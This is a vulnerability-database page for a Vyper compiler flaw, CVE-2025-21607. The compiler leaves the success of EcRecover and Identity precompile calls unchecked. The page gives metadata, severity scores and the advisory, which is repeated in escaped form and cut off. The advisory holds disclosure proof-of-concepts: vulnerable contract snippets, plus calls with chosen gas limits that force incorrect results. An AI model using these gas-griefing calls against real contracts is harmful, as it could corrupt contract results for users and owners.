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PYSEC-2025-33
Vulnerability from pysec - Published: 2025-01-14 18:16 - Updated: 2025-04-23 21:23
VLAI
Details
Vyper is a Pythonic Smart Contract Language for the EVM. When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect. Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts. None the less an advisory has been made out of an abundance of caution. There are no actions for users to take.
Severity
7.5 (High)
Impacted products
| Name | purl | vyper | pkg:pypi/vyper |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vyper",
"purl": "pkg:pypi/vyper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.0b1",
"0.1.0b10",
"0.1.0b11",
"0.1.0b12",
"0.1.0b13",
"0.1.0b14",
"0.1.0b15",
"0.1.0b16",
"0.1.0b17",
"0.1.0b2",
"0.1.0b3",
"0.1.0b4",
"0.1.0b5",
"0.1.0b6",
"0.1.0b7",
"0.1.0b8",
"0.1.0b9",
"0.2.1",
"0.2.10",
"0.2.11",
"0.2.12",
"0.2.13",
"0.2.14",
"0.2.15",
"0.2.16",
"0.2.2",
"0.2.3",
"0.2.4",
"0.2.5",
"0.2.6",
"0.2.7",
"0.2.8",
"0.2.9",
"0.3.0",
"0.3.1",
"0.3.10",
"0.3.10rc1",
"0.3.10rc2",
"0.3.10rc3",
"0.3.10rc4",
"0.3.10rc5",
"0.3.2",
"0.3.3",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"0.3.8",
"0.3.9",
"0.4.0",
"0.4.0b1",
"0.4.0b2",
"0.4.0b3",
"0.4.0b4",
"0.4.0b5",
"0.4.0b6",
"0.4.0rc1",
"0.4.0rc2",
"0.4.0rc3",
"0.4.0rc4",
"0.4.0rc5",
"0.4.0rc6",
"0.4.1b1",
"0.4.1b2",
"0.4.1b3",
"0.4.1b4",
"0.4.1rc1",
"0.4.1rc2",
"0.4.1rc3"
]
}
],
"aliases": [
"CVE-2025-21607",
"GHSA-vgf2-gvx8-xwc3"
],
"details": "Vyper is a Pythonic Smart Contract Language for the EVM. When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect. Based on EVM\u0027s rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts. None the less an advisory has been made out of an abundance of caution. There are no actions for users to take.",
"id": "PYSEC-2025-33",
"modified": "2025-04-23T21:23:01.322686+00:00",
"published": "2025-01-14T18:16:05+00:00",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
},
{
"type": "EVIDENCE",
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vgf2-gvx8-xwc3"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
CVE-2025-21607 (GCVE-0-2025-21607)
Vulnerability from cvelistv5 – Published: 2025-01-14 17:32 – Updated: 2025-04-24 14:39
VLAI
EPSS
VEX
Title
Success of Certain Precompile Calls not Checked in Vyper
Summary
Vyper is a Pythonic Smart Contract Language for the EVM. When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect. Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts. None the less an advisory has been made out of an abundance of caution. This issue is fixed in 0.4.1.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-01-15 15:34 UTC
CWE
- CWE-670 - Always-Incorrect Control Flow Implementation
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/vyperlang/vyper/security/advis… | x_refsource_CONFIRM |
| https://github.com/vyperlang/vyper/pull/4451 | x_refsource_MISC |
| https://github.com/vyperlang/vyper/commit/7136eab… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-21607",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-01-15T15:34:18.741267Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-01-15T15:34:46.083Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "vyper",
"vendor": "vyperlang",
"versions": [
{
"status": "affected",
"version": "\u003c 0.4.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Vyper is a Pythonic Smart Contract Language for the EVM. When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect. Based on EVM\u0027s rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts. None the less an advisory has been made out of an abundance of caution. This issue is fixed in 0.4.1."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-670",
"description": "CWE-670: Always-Incorrect Control Flow Implementation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-24T14:39:51.551Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
},
{
"name": "https://github.com/vyperlang/vyper/pull/4451",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/vyperlang/vyper/pull/4451"
},
{
"name": "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf"
}
],
"source": {
"advisory": "GHSA-vgf2-gvx8-xwc3",
"discovery": "UNKNOWN"
},
"title": "Success of Certain Precompile Calls not Checked in Vyper"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-21607",
"datePublished": "2025-01-14T17:32:58.169Z",
"dateReserved": "2024-12-29T03:00:24.712Z",
"dateUpdated": "2025-04-24T14:39:51.551Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-VGF2-GVX8-XWC3
Vulnerability from github – Published: 2025-01-14 16:34 – Updated: 2025-04-24 14:39
VLAI
Summary
Vyper Does Not Check the Success of Certain Precompile Calls
Details
Summary
When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.
Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.
The fix is tracked in https://github.com/vyperlang/vyper/pull/4451.
Details
The relevant precompiles
EcRecover
EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.
Identity
- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.
- Identity is no longer used when
evm-versioncancunis used (becauseMCOPYis used instead). In 0.4.0cancunis default, in 0.3.10cancunis an option, otherwisecancunis not available. As only pre-cancunversions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.
The other precompiles
- Calls to
Sha2,ecAdd, andecMulhave success checks and have had them for a long time. - The precompiles
modexp,ripe,blake,ecPairing, andPoint Evaluationhave no builtins in vyper.
PoC
In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.
ecrecover use
- Affected versions: 0.2.0 - 0.4.0
- For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and
ecrecoverwere checked. - For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.
- As mentioned above at most 47 gas is left after the failed call, hence a
returnis the most realistic scenario to be attacked.
Vulnerable Code:
@external
@view
def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:
return ecrecover(hash, v, r, s)
Problematic Call:
print(
c.foo(
binascii.unhexlify(
"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
),
28,
78616903610408968922803823221221116251138855211764625814919875002740131251724,
37668412420813231458864536126575229553064045345107737433087067088194345044408,
)
) # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A
print(
c.foo(
binascii.unhexlify(
"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
),
28,
78616903610408968922803823221221116251138855211764625814919875002740131251724,
37668412420813231458864536126575229553064045345107737433087067088194345044408,
gas=3000,
)
) # Returns 0x0000000000000000000000000000000000000000
Identity to copy Dynamic Arrays
- Affected versions: 0.3.2 - 0.3.9
- Dynamic Arrays might be copied on different occasions
- That copy operation can fail leading to incorrect accesses afterwards
Vulnerable Code:
@external
def foo() -> uint256:
a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
b: DynArray[uint256, 4000] = a
return b[0]
Problematic Call:
print(c.foo()) # Prints 2
print(c.foo(gas=170000)) # Prints 0
Identity in ABI Encoding of Returndata
- Affected versions: 0.3.2 - 0.4.0
- Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned
- In that
returnthere is a memory copy which can fail
Vulnerable Code:
@external
@view
def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:
z: DynArray[String[1000000], 2] = [x, y]
# Some code
return z
Problematic Call:
calldata0 = "a"*10
calldata1 = "b"*1000000
c.foo(calldata0, calldata1) # Returns correct data
c.foo(calldata0, calldata1, gas=48_400_000) # Returns incorrect data (only first part)
Assertion based on data copied through Identity
- Affected versions: 0.2.0 - 0.4.0
- An incomplete copy operation might falsify the result of a subsequent
assert
Vulnerable Code:
@internal
def bar() -> uint256[3000]:
a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0]
return a
@external
def foo():
s: uint256[3000] = self.bar()
assert(s[0] == 0)
Problematic Call:
try:
c.foo() # Correctly reverts
except Exception as e:
print("Correctly reverted")
try:
c.foo(gas=210000) # Incorrectly succeeds
print("Incorrectly succeeded")
except Exception:
pass
Identity used in raw_revert
- Affected versions: 0.3.8 - 0.4.0
- A copy operation might appear as part of raw_revert
- As a result the revert reason might be incorrect
Vulnerable Code:
@external
def foo(_data: Bytes[10000]):
b: Bytes[10000] = _data
raw_revert(b)
Problematic Call:
calldata = binascii.unhexlify("bb" * 10_000)
c.foo(calldata) # Has correct revert reason
c.foo(calldata, gas=4_800) # Has empty revert reason, but not out-of-gas
Identity to copy static arrays
- Affected versions: 0.2.0 - 0.4.0
- Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions
- As this access is especially cheap (due to the static checks) it can also happen for smaller sizes
Vulnerable Code:
@external
def foo(x: uint256[2500]) -> uint256:
s: uint256[2500] = x
t: uint256[2500] = s
return t[0]
Problematic Call:
calldata = [2] + [0] * 2499
print(c.foo(calldata)) # Prints 2
print(c.foo(calldata, gas=74500)) # Prints 0
Identity to copy and return String or Bytes
- Affected versions: 0.20 - 0.4.0
- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
- If the target buffer is later returned, incorrect data might be returned
Vulnerable Code:
@external
@view
def foo(x: String[1000000]) -> String[1000000]:
return x
Problematic Call:
calldata = "a"*1000000
x = c.foo(calldata) # Returns calldata
y = c.foo(calldata, gas=8_000_000) # Returns empty data
Identity and accessing the length of the target data
- Affected versions: 0.3.10 - 0.4.0
- Accessing the data is fairly cheap, making it possible for smaller data copies
Vulnerable Code:
@external
@view
def foo(x: String[1000000]) -> uint256:
y: String[1000000] = x
return len(y)
Problematic Call:
calldata = "a"*1000000
x = c.foo(calldata) # Returns correct length
y = c.foo(calldata, gas=7_929_200) # Returns incorrect length
Identity to copy and return String or Bytes
- Affected versions: 0.3.10 - 0.4.0
- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
- If the target buffer is later returned, incorrect data might be returned
Vulnerable Code:
@external
@view
def foo(x: String[1000000]) -> String[1000000]:
return x
Problematic Call:
calldata = "a"*1000000
x = c.foo(calldata) # Returns calldata
y = c.foo(calldata, gas=8_000_000) # Returns empty data
Impact
A contract search was conducted and yielded no significant results.
The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "vyper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-21607"
],
"database_specific": {
"cwe_ids": [
"CWE-670",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-14T16:34:20Z",
"nvd_published_at": "2025-01-14T18:16:05Z",
"severity": "LOW"
},
"details": "### Summary\n\nWhen the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.\n\nBased on EVM\u0027s rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.\n\nThe fix is tracked in https://github.com/vyperlang/vyper/pull/4451.\n\n### Details\n\n\n#### The relevant precompiles\n\n##### EcRecover\n\nEcRecover is used in vyper\u0027s `ecrecover` built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.\n\n##### Identity\n\n- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.\n- Identity is no longer used when `evm-version` `cancun` is used (because `MCOPY` is used instead). In 0.4.0 `cancun` is default, in 0.3.10 `cancun` is an option, otherwise `cancun` is not available. As only pre-`cancun` versions are relevant, we don\u0027t have to consider transient storage operations succeeding a failed call to Identity.\n\n#### The other precompiles\n\n- Calls to `Sha2`, `ecAdd`, and `ecMul` have success checks and have had them for a long time.\n- The precompiles `modexp`, `ripe`, `blake`, `ecPairing`, and `Point Evaluation` have no builtins in vyper.\n\n\n### PoC\n\nIn the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.\n\n#### `ecrecover` use\n\n- Affected versions: 0.2.0 - 0.4.0 \n- For older compiler versions (\u003c=0.3.9) it behaves similarly to this [older advisory](https://github.com/vyperlang/vyper/security/advisories/GHSA-f5x6-7qgp-jhf3). As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and `ecrecover` were checked.\n- For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.\n- As mentioned above at most 47 gas is left after the failed call, hence a `return` is the most realistic scenario to be attacked.\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -\u003e address:\n return ecrecover(hash, v, r, s)\n```\n\nProblematic Call:\n```py\nprint(\n c.foo(\n binascii.unhexlify(\n \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n ),\n 28,\n 78616903610408968922803823221221116251138855211764625814919875002740131251724,\n 37668412420813231458864536126575229553064045345107737433087067088194345044408,\n )\n) # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A\n\nprint(\n c.foo(\n binascii.unhexlify(\n \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n ),\n 28,\n 78616903610408968922803823221221116251138855211764625814919875002740131251724,\n 37668412420813231458864536126575229553064045345107737433087067088194345044408,\n gas=3000,\n )\n) # Returns 0x0000000000000000000000000000000000000000\n```\n\n#### Identity to copy Dynamic Arrays\n\n- Affected versions: 0.3.2 - 0.3.9\n- Dynamic Arrays might be copied on different occasions\n- That copy operation can fail leading to incorrect accesses afterwards\n\nVulnerable Code:\n```py\n\n@external\ndef foo() -\u003e uint256:\n a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n b: DynArray[uint256, 4000] = a\n return b[0]\n```\n\nProblematic Call:\n```py\nprint(c.foo()) # Prints 2\nprint(c.foo(gas=170000)) # Prints 0\n```\n\n#### Identity in ABI Encoding of Returndata\n\n- Affected versions: 0.3.2 - 0.4.0\n- Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned\n- In that `return` there is a memory copy which can fail\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000], y: String[1000000]) -\u003e DynArray[String[1000000], 2]:\n z: DynArray[String[1000000], 2] = [x, y]\n # Some code\n return z\n```\n\nProblematic Call:\n```py\ncalldata0 = \"a\"*10\ncalldata1 = \"b\"*1000000\nc.foo(calldata0, calldata1) # Returns correct data\nc.foo(calldata0, calldata1, gas=48_400_000) # Returns incorrect data (only first part)\n```\n\n#### Assertion based on data copied through Identity\n\n- Affected versions: 0.2.0 - 0.4.0\n- An incomplete copy operation might falsify the result of a subsequent `assert`\n\n\nVulnerable Code:\n```py\n@internal\ndef bar() -\u003e uint256[3000]:\n a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n return a\n\n@external\ndef foo():\n s: uint256[3000] = self.bar()\n assert(s[0] == 0)\n```\n\nProblematic Call:\n```py\ntry:\n c.foo() # Correctly reverts\nexcept Exception as e:\n print(\"Correctly reverted\")\ntry:\n c.foo(gas=210000) # Incorrectly succeeds\n print(\"Incorrectly succeeded\")\nexcept Exception:\n pass\n```\n\n#### Identity used in `raw_revert`\n\n- Affected versions: 0.3.8 - 0.4.0\n- A copy operation might appear as part of raw_revert\n- As a result the revert reason might be incorrect\n\nVulnerable Code:\n```py\n@external\ndef foo(_data: Bytes[10000]):\n b: Bytes[10000] = _data\n raw_revert(b)\n```\n\nProblematic Call:\n```py\ncalldata = binascii.unhexlify(\"bb\" * 10_000)\nc.foo(calldata) # Has correct revert reason\nc.foo(calldata, gas=4_800) # Has empty revert reason, but not out-of-gas\n```\n\n\n#### Identity to copy static arrays\n\n- Affected versions: 0.2.0 - 0.4.0\n- Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions\n- As this access is especially cheap (due to the static checks) it can also happen for smaller sizes\n\nVulnerable Code:\n```py\n@external\ndef foo(x: uint256[2500]) -\u003e uint256:\n s: uint256[2500] = x\n t: uint256[2500] = s\n return t[0]\n```\n\nProblematic Call:\n```py\ncalldata = [2] + [0] * 2499\nprint(c.foo(calldata)) # Prints 2\nprint(c.foo(calldata, gas=74500)) # Prints 0\n```\n\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.20 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata) # Returns calldata\ny = c.foo(calldata, gas=8_000_000) # Returns empty 